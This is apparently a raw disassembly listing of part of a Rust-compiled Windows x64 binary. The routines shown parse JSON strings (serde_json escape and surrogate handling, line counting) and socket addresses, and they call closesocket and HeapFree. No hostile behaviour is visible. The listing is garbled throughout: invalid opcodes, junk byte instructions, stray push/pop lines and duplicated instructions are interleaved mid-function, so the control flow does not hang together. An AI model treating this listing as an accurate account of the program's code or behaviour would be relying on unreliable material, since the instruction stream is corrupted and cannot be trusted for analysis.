mov rax, qword [rsp + 0x50]
jne 0x1400d1d80
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 8
jmp 0x1400d1e60
mov rbx, rdx
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1400d1310
cmp word [rsp + 0x58], 0
jne case.0x1400a5610.310
movzx esi, word [rsp + 0x5a]
movzx eax, si
mov ecx, eax
and ecx, 0xfc00
cmp ecx, 0xd800
je 0x1400d1ea1
cmp ecx, 0xdc00
mov rcx, qword [rsp + 0x30]
je 0x1400d2882
mov edx, eax
xor edx, 0xffefd800
cmp edx, 0xffef0800
jb 0x1400d2aa6
mov r9, rbx
mov dword [rsp + 0x38], 0
cmp eax, 0x80
jae 0x1400d1fb1
mov byte [rsp + 0x38], sil
mov r14d, 1
jmp 0x1400d2002
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1e2b
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 9
jmp 0x1400d1e60
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1e50
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0xd
nop word cs:[rax + rax]
inc rdx
mov qword [r8 + 0x10], rdx
lea rcx, [0x140144ed0]
mov rdx, r14
cmp r14, rbp
jb 0x1400d1bb0
invalid
jmp 0x1400d2059
mov rcx, r8
mov rdi, rdx
mov rdx, r9
mov r8, r14
call fcn.14010e2f0
mov rdx, rdi
mov r8, qword [rsp + 0x30]
mov r9, qword [r8 + 0x10]
jmp 0x1400d1c28
mov rdx, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
cmp r14, rdx
jae 0x1400d28be
mov rax, qword [rdi]
lea rcx, [r14 + 1]
cmp byte [rax + r14], 0x5c
mov qword [rdi + 0x10], rcx
jne 0x1400d228e
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.1400d1640
cmp byte [rsp + 0x38], 0
jne 0x1400d2299
add r14, 2
cmp byte [rsp + 0x39], 0x75
mov qword [rdi + 0x10], r14
jne 0x1400d228e
lea rcx, [rsp + 0x38]
mov rdx, rdi
call fcn.1400d1310
cmp word [rsp + 0x38], 0
jne 0x1400d2299
movzx eax, word [rsp + 0x3a]
lea ecx, [rax + 0x2000]
movzx ecx, cx
cmp ecx, 0xfc00
jb 0x1400d22f5
add esi, 0x2800
movzx edx, si
shl edx, 0xa
lea ecx, [rax + 0x2400]
movzx ecx, cx
add ecx, edx
add ecx, 0x10000
mov r8d, ecx
xor r8d, 0xd800
add r8d, 0xffef0000
cmp r8d, 0xffef07ff
jbe case.0x1400aa870.279
add edx, 0x10000
mov r8d, edx
shr r8d, 0x12
shr edx, 4
and edx, 0xff00
movzx r8d, r8b
or r8d, edx
shl ecx, 0xa
and ecx, 0xff0000
or ecx, r8d
shl eax, 0x18
or eax, ecx
movd xmm0, eax
pand xmm0, xmm6
por xmm0, xmm7
movd dword [rsp + 0x38], xmm0
mov r14d, 4
mov rcx, qword [rsp + 0x30]
mov r9, rbx
jmp 0x1400d2002
cmp eax, 0x800
jae 0x1400d1fd8
mov eax, esi
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x38], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x39], sil
mov r14d, 2
jmp 0x1400d2002
mov edx, eax
shr edx, 0xc
or dl, 0xe0
mov byte [rsp + 0x38], dl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x39], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x3a], sil
mov r14d, 3
mov rax, qword [rcx]
sub rax, r9
cmp rax, r14
jb 0x1400d203e
mov rcx, qword [rsp + 0x50]
add rcx, r9
lea rdx, [rsp + 0x38]
mov r8, r14
mov rsi, r9
call sub.VCRUNTIME140.dll_memcpy
add rsi, r14
mov r8, qword [rsp + 0x30]
mov qword [r8 + 0x10], rsi
mov rbp, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
jmp 0x1400d1e67
mov rdx, r9
mov rsi, rcx
mov r8, r14
call fcn.14010e2f0
mov rcx, qword [rsi + 8]
mov r9, qword [rsi + 0x10]
jmp 0x1400d2012
mov r14, r12
cmp r14, rbp
jne 0x1400d2272
mov qword [rsp + 0x38], 4
test r14, r14
jne 0x1400d207d
mov edx, 1
xor r8d, r8d
jmp 0x1400d2204
mov rax, qword [rdi]
mov ecx, r14d
and ecx, 3
cmp r14, 4
jae 0x1400d2132
mov edx, 1
xor r8d, r8d
jmp 0x1400d21d1
cmp eax, 0x22
jne 0x1400d22a3
mov rbp, qword [r8 + 0x10]
lea r15, [r12 + 1]
test rbp, rbp
je 0x1400d2223
mov r14, r12
sub r14, rdx
jb 0x1400d2ac1
add rdx, rbx
mov rax, qword [r8]
sub rax, rbp
cmp rax, r14
mov qword [rsp + 0x50], r15
push rax
push rax
jb 0x1400d231b
mov r13, qword [r8 + 8]
mov rcx, r13
add rcx, rbp
mov r15, r8
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rbp, r14
mov qword [r15 + 0x10], rbp
mov dword [rdi + 0x10], ebp
mov dword [rdi + 0x10], ebp
mov r14, qword [rsp + 0x50]
mov qword [rdi + 0x10], r14
lea rcx, [rsp + 0x58]
mov rdx, r13
mov r8, rbp
call fcn.1400142e0
cmp qword [rsp + 0x58], 0
pop rax
add byte [rdi], cl
test dword [rcx], esp
add al, byte [rax]
invalid
pop rax
add byte [rdi], cl
test dword [rcx], esp
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x60], al
movups xmm0, xmmword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
and al, 0x28
mov qword [rax], 1
jmp 0x1400d225d
and r14, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
mov r11d, 2
mov edx, 1
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps esi, xmm1
test sil, 1
cmovne r8, r10
test sil, 2
cmovne r8, r11
test sil, 4
cmovne r8, r9
test sil, 8
mov edi, 0
cmovne r8, rdi
mov ebx, esi
shr bl, 1
and bl, 5
sub sil, bl
mov ebx, esi
and bl, 0x33
shr sil, 2
and sil, 0x33
and dh, 0x33
add sil, bl
mov ebx, esi
shr bl, 4
add bl, sil
and bl, 0xf
movzx esi, bl
add rdx, rsi
add r14, 0xfffffffffffffffc
jne 0x1400d2160
test rcx, rcx
je 0x1400d2204
xor r9d, r9d
nop dword [rax]
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne case.0x14009a63c.351
lea rcx, [rsp + 0x38]
call fcn.14010bc50
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov qword [rcx], 2
jmp 0x1400d254d
mov r8, r12
sub r8, rdx
jb 0x1400d2ad3
add rdx, rbx
mov qword [rdi + 0x10], r15
lea rcx, [rsp + 0x58]
call fcn.1400142e0
cmp qword [rsp + 0x58], 0
jne 0x1400d2571
movups xmm0, xmmword [rsp + 0x60]
mov rax, qword [rsp + 0x28]
mov qword [rax], 0
movups xmmword [rax + 8], xmm0
jmp 0x1400d254d
add byte [rax], al
add byte [rax], al
mov r14, rdx
cmp r14, rbp
je 0x1400d2062
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r14
mov rdx, rbp
call fcn.140104670
mov rax, qword [rsp + 0x60]
jmp 0x1400d253d
mov qword [rsp + 0x38], 0x17
jmp 0x1400d2309
mov rax, qword [rsp + 0x40]
jmp 0x1400d253d
lea rax, [r12 + 1]
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x38], 0x10
cmp r12, 3
jae 0x1400d235d
xor r8d, r8d
mov edx, 1
jmp 0x1400d2408
mov qword [rsp + 0x38], 4
cmp r12, rbp
jae 0x1400d2ab2
cmp r12, 3
jae 0x1400d2448
mov edx, 1
xor r8d, r8d
jmp 0x1400d24f8
mov qword [rsp + 0x38], 0x14
jmp 0x1400d2309
mov qword [rsp + 0x38], 0xf
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400d17b0
invalid
invalid
jmp 0x1400d253d
invalid
mov rcx, r8
mov r15, rdx
mov rdx, rbp
mov r8, r14
call fcn.14010e2f0
mov rdx, r15
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov rbp, qword [r8 + 0x10]
jmp 0x1400d20db
mov qword [rsp + 0x38], 0xf
add byte [rax], al
cmp r12, 3
jae 0x1400d2591
mov edx, 1
xor r8d, r8d
jmp 0x1400d263b
mov rcx, rax
and rcx, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add byte [rcx - 0x46], al
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x46], al
add eax, dword [rax]
add byte [rax], al
mov r11d, 2
mov edx, 1
nop word cs:[rax + rax]
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r10
cmovne eax, edx
test dil, 2
cmovne r8, r11
test dil, 4
cmovne r8, r9
test dil, 8
mov r14d, 0
add byte [rbp + 0xf], cl
invalid
invalid
mov ebp, edi
shr bpl, 1
and bpl, 5
sub dil, bpl
mov ebp, edi
and bpl, 0x33
and ch, 0x33
add byte [rbp + 0xf], cl
invalid
and ch, 0x33
shr dil, 2
and dil, 0x33
add dil, bpl
mov ebp, edi
shr bpl, 4
add bpl, dil
and bpl, 0xf
movzx edi, bpl
add rdx, rdi
add rcx, 0xfffffffffffffffc
jne 0x1400d2390
test al, 3
je 0x1400d2204
movzx eax, sil
and eax, 3
xor ecx, ecx
nop dword [rax]
inc r8
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2420
jmp 0x1400d2204
mov rax, rcx
and rax, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
add byte [rax], al
add byte [rax], al
mov r11d, 2
mov edx, 1
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r10
test dil, 2
cmovne r8, r11
test dil, 4
cmovne r8, r9
test dil, 8
mov r14d, 0
cmovne r8, r14
mov ebp, edi
shr bpl, 1
and bpl, 5
sub dil, bpl
mov ebp, edi
and bpl, 0x33
shr dil, 2
and dil, 0x33
add dil, bpl
mov ebp, edi
shr bpl, 4
add bpl, dil
and bpl, 0xf
movzx edi, bpl
add rdx, rdi
add rax, 0xfffffffffffffffc
jne 0x1400d2480
test cl, 3
je 0x1400d2533
movzx eax, sil
and eax, 3
xor ecx, ecx
nop word cs:[rax + rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2510
lea rcx, [rsp + 0x38]
call fcn.14010bc50
mov rsi, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], 2
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x38], 0xf
cmp r12, 3
jae 0x1400d2678
mov edx, 1
xor r8d, r8d
jmp 0x1400d271b
mov rax, r14
and rax, 0xfffffffffffffffc
mov ecx, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r9d, 3
mov r10d, 2
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r11d, xmm1
test r11b, 1
cmovne r8, r9
test r11b, 2
cmovne r8, r10
test r11b, 4
cmovne r8, rcx
test r11b, 8
mov edi, 0
cmovne r8, rdi
mov edi, r11d
shr dil, 1
and dil, 5
sub r11b, dil
mov edi, r11d
and dil, 0x33
shr r11b, 2
and r11b, 0x33
add r11b, dil
mov edi, r11d
shr dil, 4
add dil, r11b
and dil, 0xf
movzx r11d, dil
add rdx, r11
add rax, 0xfffffffffffffffc
jne 0x1400d25c0
test r14b, 3
je 0x1400d2204
movzx eax, sil
and eax, 3
xor ecx, ecx
nop
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2650
jmp 0x1400d2204
mov rax, r15
and rax, 0xfffffffffffffffc
mov ecx, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r9d, 3
mov r10d, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r11d, xmm1
test r11b, 1
cmovne r8, r9
test r11b, 2
cmovne r8, r10
test r11b, 4
cmovne r8, rcx
test r11b, 8
mov edi, 0
cmovne r8, rdi
mov edi, r11d
shr dil, 1
and dil, 5
sub r11b, dil
mov edi, r11d
and dil, 0x33
shr r11b, 2
and r11b, 0x33
add r11b, dil
mov edi, r11d
shr dil, 4
add dil, r11b
and dil, 0xf
movzx r11d, dil
add rdx, r11
add rax, 0xfffffffffffffffc
jne 0x1400d26a0
test r15b, 3
je 0x1400d2204
movzx eax, sil
and eax, 3
xor ecx, ecx
nop
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2730
jmp 0x1400d2204
add r15, 0xfffffffffffffffe
mov qword [rsp + 0x38], 0xc
mov rax, qword [rsp + 0x70]
add rax, r15
inc rax
cmp rax, 3
jae 0x1400d2788
xor r8d, r8d
mov edx, 1
mov rsi, qword [rsp + 0x28]
jmp 0x1400d283c
add r12, 2
and r12, 0xfffffffffffffffc
mov eax, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov ecx, 3
mov r9d, 2
mov edx, 1
mov rsi, qword [rsp + 0x28]
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rbx]
add rbx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r10d, xmm1
test r10b, 1
cmovne r8, rcx
test r10b, 2
cmovne r8, r9
test r10b, 4
cmovne r8, rax
test r10b, 8
mov r11d, 0
cmovne r8, r11
mov r11d, r10d
shr r11b, 1
and r11b, 5
sub r10b, r11b
mov r11d, r10d
and r11b, 0x33
shr r10b, 2
and r10b, 0x33
add r10b, r11b
mov r11d, r10d
shr r11b, 4
add r11b, r10b
and r11b, 0xf
movzx r10d, r11b
add rdx, r10
add r12, 0xfffffffffffffffc
jne 0x1400d27c0
test r14b, 3
je 0x1400d2873
movzx eax, r13b
and eax, 3
xor ecx, ecx
nop dword [rax + rax]
inc r8
xor r9d, r9d
cmp byte [rbx + rcx], 0xa
mov r10d, 0
cmove r8, r10
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d2850
lea rcx, [rsp + 0x38]
call fcn.14010bc50
jmp 0x1400d2542
mov qword [rsp + 0x38], 0x14
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
cmp rcx, rdx
ja 0x1400d2ae5
test rcx, rcx
je 0x1400d28d2
mov rax, qword [rdi]
mov r9d, ecx
and r9d, 3
cmp rcx, 4
jae 0x1400d28ff
mov edx, 1
xor r8d, r8d
jmp 0x1400d2995
mov qword [rsp + 0x38], 4
ja 0x1400d2af1
test r14, r14
jne 0x1400d28df
mov edx, 1
xor r8d, r8d
jmp 0x1400d2533
mov rax, qword [rdi]
mov ecx, r14d
and ecx, 3
cmp r14, 4
jae 0x1400d29c8
mov edx, 1
xor r8d, r8d
jmp 0x1400d2a5f
and rcx, 0xfffffffffffffffc
mov r10d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov esi, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
cmovne r8, r11
test dil, 2
cmovne r8, rsi
test dil, 4
cmovne r8, r10
test dil, 8
mov ebx, 0
cmovne r8, rbx
mov ebx, edi
shr bl, 1
and bl, 5
sub dil, bl
mov ebx, edi
and bl, 0x33
shr dil, 2
and dil, 0x33
add dil, bl
mov ebx, edi
shr bl, 4
add bl, dil
and bl, 0xf
movzx edi, bl
add rdx, rdi
add rcx, 0xfffffffffffffffc
jne 0x1400d2924
test r9, r9
je 0x1400d2533
xor ecx, ecx
inc r8
xor r10d, r10d
cmp byte [rax + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc rcx
cmp r9, rcx
jne 0x1400d29a0
jmp 0x1400d2533
and r14, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r10d, 3
mov r11d, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps esi, xmm1
test sil, 1
cmovne r8, r10
test sil, 2
cmovne r8, r11
test sil, 4
cmovne r8, r9
test sil, 8
mov edi, 0
cmovne r8, rdi
mov ebx, esi
shr bl, 1
and bl, 5
sub sil, bl
mov ebx, esi
and bl, 0x33
shr sil, 2
and sil, 0x33
add sil, bl
mov ebx, esi
shr bl, 4
add bl, sil
and bl, 0xf
movzx esi, bl
add rdx, rsi
add r14, 0xfffffffffffffffc
jne 0x1400d29ee
test rcx, rcx
je 0x1400d2533
xor r9d, r9d
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400d2a6b
jmp 0x1400d2533
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.1401048e0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
call fcn.140104a40
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rdx, rbp
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.1401048e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, rdx
mov rdx, r12
call fcn.1401048e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r14
call fcn.1401046e0
int3
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x80], rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400d33c9
mov word [rax], r15w
mov rdx, rdi
shl rdx, 8
movzx ecx, r14b
or rcx, rdx
shr rdi, 0x18
mov word [rax + 6], di
mov dword [rax + 2], ecx
mov rcx, qword [rsp + 0x80]
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x88]
mov dword [rax + 0x10], ecx
mov dword [rax + 0x14], 0
mov dword [rax + 0x18], ebx
mov word [rax + 0x1c], bp
mov rcx, rax
add rcx, 0x20
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], rcx
mov r12, rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x48], rax
mov rsi, qword [rsp + 0xd8]
cmp r12, rsi
je 0x1400d2e24
lea rbp, [rsp + 0x52]
xor ebx, ebx
lea r14, [rsp + 0x50]
jmp 0x1400d2d8a
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, r13
add r12, 0x20
mov rbx, rdi
cmp r12, rsi
je 0x1400d2e26
movzx eax, word [r12]
movups xmm0, xmmword [r12 + 0x10]
movups xmmword [rsp + 0x2e], xmm0
movups xmm0, xmmword [r12 + 2]
movaps xmmword [rsp + 0x20], xmm0
cmp ax, 2
je 0x1400d30f8
mov word [rsp + 0x50], ax
movups xmm0, xmmword [rsp + 0x2e]
movups xmmword [rbp + 0xe], xmm0
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rbp], xmm0
xor ecx, ecx
mov rdx, r14
call fcn.1400e4090
mov rdi, rdx
test rax, rax
je 0x1400d310c
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x1400d2d7a
mov r13, r14
mov r15, qword [rbx - 1]
mov r14, qword [rbx + 7]
mov rcx, r15
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400d2d62
cmp qword [r14 + 0x10], 0x11
jb 0x1400d2d50
mov r15, qword [r15 - 8]
jmp 0x1400d2d50
xor edi, edi
cmp qword [rsp + 0x48], 0
je 0x1400d2e42
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
lea r12, str.could_not_resolve_to_any_addresses
cmovne r12, rdi
jmp 0x1400d2f62
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x60], 0
mov byte [rsp + 0x78], 1
movabs rax, 0x3a0000003a
mov qword [rsp + 0x70], rax
mov bl, 0x3a
mov r8d, 0xf
jmp 0x1400d2f06
cmp r8, 0xf
ja 0x1400d2f5b
mov cl, 0x3a
mov rdx, rsi
call fcn.1400180e0
cmp rax, 1
jne 0x1400d2f5b
mov r8, rdx
cmp rdx, 0xf
jae 0x1400d2f00
cmp byte [r8 + rsi], bl
jne 0x1400d2f00
mov r9, r8
lea r12, str.invalid_port_value
sub r9, 0xe
je 0x1400d2f62
neg r9
lea rcx, [r8 + rsi]
inc rcx
cmp r8, 0xd
jne 0x1400d30c4
movzx eax, byte [rcx]
cmp eax, 0x2b
je 0x1400d2f62
cmp eax, 0x2d
je 0x1400d2f62
jmp 0x1400d318d
lea r12, str.invalid_socket_address
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x1400d2fb7
lea rsi, [r12 - 1]
mov rdi, qword [r12 - 1]
mov rbx, qword [r12 + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400d2fa5
cmp qword [rbx + 0x10], 0x11
jb 0x1400d2f93
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [rcx], 0x2b
jne 0x1400d3187
inc rcx
mov eax, 0xd
sub rax, r8
lea rdx, [r8 + 1]
cmp r9, 6
jae 0x1400d31ca
mov r9, rax
cmp rdx, 0xe
jne 0x1400d318d
jmp 0x1400d31d3
mov rdi, rbx
cmp qword [rsp + 0x48], 0
jne 0x1400d2e2e
jmp 0x1400d2e42
cmp qword [rsp + 0x48], 0
je 0x1400d3128
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x1400d3179
lea rsi, [rbx - 1]
mov r14, qword [rbx - 1]
mov rbx, qword [rbx + 7]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400d3167
cmp qword [rbx + 0x10], 0x11
jb 0x1400d3155
mov r14, qword [r14 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x1400d2fb7
cmp r9, 5
jae 0x1400d31d7
xor edx, edx
xor eax, eax
nop word cs:[rax + rax]
movzx r10d, byte [rcx + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x1400d2f62
add eax, eax
lea eax, [rax + rax*4]
add eax, r10d
inc rdx
cmp r9, rdx
jne 0x1400d31a0
jmp 0x1400d320d
mov r9, rax
cmp rdx, 0xe
jne 0x1400d31d7
xor eax, eax
jmp 0x1400d320d
xor r10d, r10d
mov r11w, 0xa
xor eax, eax
mul r11w
jo 0x1400d2f62
movzx edx, byte [rcx + r10]
add edx, 0xffffffd0
cmp edx, 9
ja 0x1400d2f62
add ax, dx
jb 0x1400d2f62
inc r10
cmp r9, r10
jne 0x1400d31e1
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r8
mov word [rsp + 0x60], ax
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x50]
call fcn.1400deea0
cmp qword [rsp + 0x20], 0
mov r12, qword [rsp + 0x28]
jne 0x1400d2f62
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xe0], r12
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0xe0]
call fcn.1400df0e0
mov rax, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
test rax, rax
jne 0x1400d2d19
jmp 0x1400d2f62
lea rdx, [r8 + 1]
movzx r12d, byte [r8]
add r12d, 0xffffffd0
xor eax, eax
cmp r12d, 0xa
setb al
cmovb r8, rdx
sub r11, rax
jmp 0x1400d330a
xor eax, eax
cmp eax, 1
jne 0x1400d3357
mov eax, ebp
mul r15w
jo 0x1400d334b
add ax, r12w
add eax, r12d
setb dl
cmp r12d, 0xffff
ja 0x1400d334b
test dl, dl
jne 0x1400d334b
inc r14d
mov ebp, eax
test r11, r11
jne 0x1400d32ea
jmp 0x1400d3308
mov qword [rsp + 0x20], r10
mov r11, r9
test ax, ax
jne 0x1400d3367
jmp 0x1400d2ebd
xor eax, eax
mov qword [rsp + 0x28], rcx
mov r11, rcx
jmp 0x1400d3361
xor eax, eax
test r14d, r14d
setne al
je 0x1400d334d
cmp ax, 1
jne 0x1400d3339
mov eax, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x98], eax
test r11, r11
jne 0x1400d2ebd
shl rdi, 8
mov eax, dword [rsp + 0x98]
add byte [rcx + 0xa82484], cl
add byte [rax], al
add byte [rcx + 0xa82484], cl
add byte [rax], al
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xa0], rax
mov r15w, 1
xor r14d, r14d
jmp 0x1400d2c70
mov ecx, 4
mov edx, 0x20
call fcn.140104380
int3
mov ecx, 7
int 0x29
ud2
inc ecx
je 0x1400d3d84
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
cmp rcx, 9
mov edi, 8
cmovae rdi, rcx
mov rdx, rdi
not rdx
shr rdx, 0x3f
test rax, rax
je 0x1400d3d54
mov rcx, qword [rsi + 8]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], rax
mov eax, 1
jmp 0x1400d3d56
xor eax, eax
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
mov r8, rdi
call fcn.1400d3da0
cmp qword [rbp - 0x18], 0
jne 0x1400d3d8b
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
pop rdi
pop rsi
